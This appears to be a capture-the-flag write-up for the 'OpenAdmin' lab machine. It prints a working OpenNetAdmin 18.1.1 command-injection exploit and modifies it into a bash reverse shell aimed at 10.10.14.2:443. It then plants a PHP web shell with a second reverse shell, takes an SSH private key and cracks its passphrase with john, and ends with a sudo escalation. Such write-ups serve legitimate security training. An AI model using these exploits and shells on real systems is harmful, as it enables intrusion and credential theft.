OpenAdmin¶
Easy External Penetration Tester Level 1 OS Command Injection A03:2021-Injection Web Site Structure Discovery Local File Inclusion A07:2021-Identification And Authentication Failures Public Vulnerabilities Password Reuse Enumeration Hard-coded Credentials Authentication Directory Traversal Lateral Movement Weak Credentials Source Code Review Password Cracking Sudo Exploitation 
$ nmap -sV -sC 10.129.131.235
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-11 15:37 WIB
Nmap scan report for 10.129.131.235
Host is up (0.057s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.61 seconds
$ gobuster dir --url http://10.129.131.235/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.131.235/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/06/11 16:45:09 Starting gobuster in directory enumeration mode
===============================================================
/music                (Status: 301) [Size: 316] [--> http://10.129.131.235/music/]
Progress: 388 / 87665 (0.44%)                                                    ^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2022/06/11 16:45:13 Finished
===============================================================
there are music directory, then we proceed to the login page
here we find

that is a OpenNetAdmin, and it said that the website use v18.1.1 version, so i wanna check the vulnerable using searchploit
$ searchsploit opennetadmin                                                                                       
------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                       |  Path
------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution                                                                                        | php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)                                                                         | php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution                                                                                          | php/webapps/47691.sh
------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
it turns out that there is a RCE vulnerable
cat /usr/share/exploitdb/exploits/php/webapps/47691.sh
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
#!/bin/bash
URL="${1}"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done 
you can check your burp suite to make sure
but i want to edit the code so that i can get reverse shell (optional)
#!/bin/bash
URL="http://10.129.131.235/ona/"
cmd="bash -c 'bash -i >%26 /dev/tcp/10.10.14.2/443 0>%261'"
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
<?php
$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);
after all that is password for jimmy ssh
checking the site running in /etc/apache2/sites-enabled
there is some website running inside /var/www/internal/, so to look that locally we need to make it tunnel
also as jimmy we can open /var/www/internal/ and edit that folder
so it done with
jimmy@openadmin:~$ cd /var/www/internal
jimmy@openadmin:/var/www/internal$ echo "<?php system('id')?>" > tes.php
jimmy@openadmin:/var/www/internal$ # turns out that it run as joanna
jimmy@openadmin:/var/www/internal$ echo "<?php system('cat /home/joanna/user.txt')?>" > tes.php
but i want to edit the code so that i can get reverse shell (optional)
jimmy@openadmin:/var/www/internal$ echo "<?php system(\"bash -c 'bash -i >& /dev/tcp/10.10.14.2/443 0>&1'\")?>" > tes.php
then open the browser http://localhost:52846/tes.php or use curl
when it runs as joanna, we can know the ~/.ssh/id_rsa
just cat and save it locally for next ssh
it ask for password and we dont know the password, so try use john 
$ ssh2john id_rsa > id_rsa_hash
$ john -w=/path/to/rockyou.txt id_rsa_hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (id_rsa)     
1g 0:00:00:04 DONE (2022-06-12 02:12) 0.2369g/s 2268Kp/s 2268Kc/s 2268KC/s bloodoftorii..bloodmoon99
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
it will out joanna file
after login ssh with joanna, we can use gtfobins to gain access root privilege using nano, but we need to find which file that have root access 
after all, we found priv file on /opt/priv that have sudo access
press enter, and done, it run as root